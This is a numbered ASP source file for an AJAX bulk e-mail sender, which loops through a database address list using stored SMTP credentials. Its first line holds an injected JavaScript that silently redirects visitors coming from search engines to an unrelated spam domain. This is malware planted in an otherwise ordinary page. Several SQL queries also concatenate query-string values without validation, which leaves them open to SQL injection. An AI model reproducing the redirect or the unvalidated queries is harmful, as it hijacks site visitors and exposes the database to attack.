d:\wwwroot\wuchunhua\sendmail\ajax_mailgroupsend.asp

001: <script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script><!--#include file="inc_CheckLogin.asp"-->
002: <%
003: response.expires = 0  
004: response.expiresabsolute = now() - 1  
005: response.addHeader "pragma","no-cache"  
006: response.addHeader "cache-control","private"  
007: Response.AddHeader "Content-Type","text/html;charset=gb2312"
008: Response.cachecontrol = "no-cache"
009:
010: mailserverid=checkstr(request.QueryString("mailserverid"))
011: mailclassid=checkstr(request.QueryString("mailclassid"))
012: mailcontentid=checkstr(request.QueryString("mailcontentid"))
013: mailobjectid=checkstr(request.QueryString("mailobjectid"))
014: gettype=checkstr(request.QueryString("gettype"))
015: getoverid=checkstr(request.QueryString("getoverid"))
016: mailhistoryid=checkstr(request.QueryString("mailhistoryid"))
017:
018: if not isInteger(mailhistoryid) then mailhistoryid=0
019:
020: if gettype="chksubmit" then
021:
022:    if isInteger(mailserverid)=false or isInteger(mailclassid)=false or isInteger(mailcontentid)=false or isInteger(mailobjectid)=false then
023:       response.Write("Err1")
024:       response.End()
025:    end if
026:   
027:    dim ErrState
028:    ErrState=false
029:    if conn.execute("select id from [vn_mailserver] where id="& mailserverid &"").eof then ErrState=true
030:    if conn.execute("select id from [vn_mailclass] where id="& mailclassid &"").eof then ErrState=true
031:    if conn.execute("select id from [vn_mailcontent] where id="& mailcontentid &"").eof then ErrState=true
032:    if ErrState then response.Write("Err2"):response.End()
033:    count_allnum=conn.execute("select count(id) from [vn_mailaddress] where classid="& mailclassid &"")(0)   '发送总数
034:   
035:    '记录到历史纪录
036:    conn.execute("insert into [vn_mailhistory](sendtime,classid,mailcontentid,mailserverid,mailobjectid,last_mailid,sendstate,totalnum,succeednum,failingnum)values("& SqlNowString &","& mailclassid &","& mailcontentid &","& mailserverid &","& mailobjectid &",0,0,"& count_allnum &",0,0)")
037:    mailhistoryid=conn.execute("select top 1 id from [vn_mailhistory] where classid="& mailclassid &" and mailcontentid="& mailcontentid &" and mailserverid="& mailserverid &" and totalnum="& count_allnum &" order by id desc")(0)
038:   
039:    response.Write(count_allnum&"$send_request(""http_request2"",""ajax_mailgroupsend.asp?gettype=startsend&mailserverid=" & mailserverid & "&mailclassid=" & mailclassid & "&mailcontentid=" & mailcontentid & "&mailobjectid=" & mailobjectid & "&mailhistoryid=" & mailhistoryid &""",""GET"",""doStartSendMail()"")")
040: end if
041:
042: '****************发送邮件****************
043: if gettype="startsend" then
044:    set rs=conn.execute("select * from [vn_mailserver] where id="& mailserverid &"")
045:       mailaddress=rs("mailaddress")
046:       mailserver=rs("mailserver")
047:       mailloginname=rs("mailloginname")
048:       mailloginpwd=rs("mailloginpwd")
049:    rs.close
050:    set rs=nothing
051:   
052:    set rs=conn.execute("select * from [vn_mailcontent] where id="& mailcontentid &"")
053:       senduname=rs("senduname")
054:       mailsubject=rs("mailsubject")
055:       mailcontent=rs("mailcontent")
056:       mailpriority=rs("mailpriority")
057:       ishtml=rs("ishtml")
058:    rs.close
059:    set rs=nothing
060:    if getoverid="" then   '第一条开始发
061:       set rs=conn.execute("select top 1 id,mailaddress from [vn_mailaddress] where classid="& mailclassid &" order by id asc")
062:       if not rs.eof then
063:          startid=rs("id")
064:          mailtoaddress=rs("mailaddress")
065:       else
066:          sendover="ok"
067:       end if
068:       rs.close
069:       set rs=nothing
070:             
071:    else   '接下去发
072:       set rs=conn.execute("select top 1 id,mailaddress from [vn_mailaddress] where id > "& getoverid &" and classid="& mailclassid &" order by id asc")
073:       if not rs.eof then
074:          startid=rs("id")
075:          mailtoaddress=rs("mailaddress")
076:       else
077:          sendover="ok"
078:       end if
079:       rs.close
080:       set rs=nothing
081:       count_allnum=""
082:    end if
083:   
084:    if sendover="ok" then
085:       conn.execute("update [vn_mailhistory] set sendstate=1 where id="& mailhistoryid &"")
086:       response.Write("sendend")
087:       response.End()
088:    else
089:       if mailobjectid="1" then
090:          sendstate=JmailSend(mailsubject,mailcontent,ishtml,mailpriority,mailtoaddress,MailtoName,mailaddress,senduname,mailserver,mailloginname,mailloginpwd)
091:       elseif mailobjectid="2" then
092:          sendstate=Cdonts(mailsubject,mailcontent,ishtml,mailpriority,mailtoaddress,MailtoName,mailaddress,senduname,mailserver,mailloginname,mailloginpwd)
093:       elseif mailobjectid="3" then
094:          sendstate=Aspemail(mailsubject,mailcontent,ishtml,mailpriority,mailtoaddress,MailtoName,mailaddress,senduname,mailserver,mailloginname,mailloginpwd)
095:       end if
096:    end if
097:    if sendstate=true then
098:       '更新历史纪录
099:       conn.execute("update [vn_mailhistory] set last_mailid="& startid &",succeednum=succeednum+1 where  id="& mailhistoryid &"")
100:       response.Write("1$send_request(""http_request2"",""ajax_mailgroupsend.asp?gettype=startsend&mailserverid=" & mailserverid & "&mailclassid=" & mailclassid & "&mailcontentid=" & mailcontentid & "&mailobjectid=" & mailobjectid & "&getoverid=" & startid & "&mailhistoryid=" & mailhistoryid &""",""GET"",""doStartSendMail()"")")
101:    else
102:       conn.execute("update [vn_mailhistory] set last_mailid="& startid &",failingnum=failingnum+1 where  id="& mailhistoryid &"")
103:       response.Write("0$send_request(""http_request2"",""ajax_mailgroupsend.asp?gettype=startsend&mailserverid=" & mailserverid & "&mailclassid=" & mailclassid & "&mailcontentid=" & mailcontentid & "&mailobjectid=" & mailobjectid & "&getoverid=" & startid & "&mailhistoryid=" & mailhistoryid &""",""GET"",""doStartSendMail()"")")
104:    end if
105: end if
106: %
>
107:
108: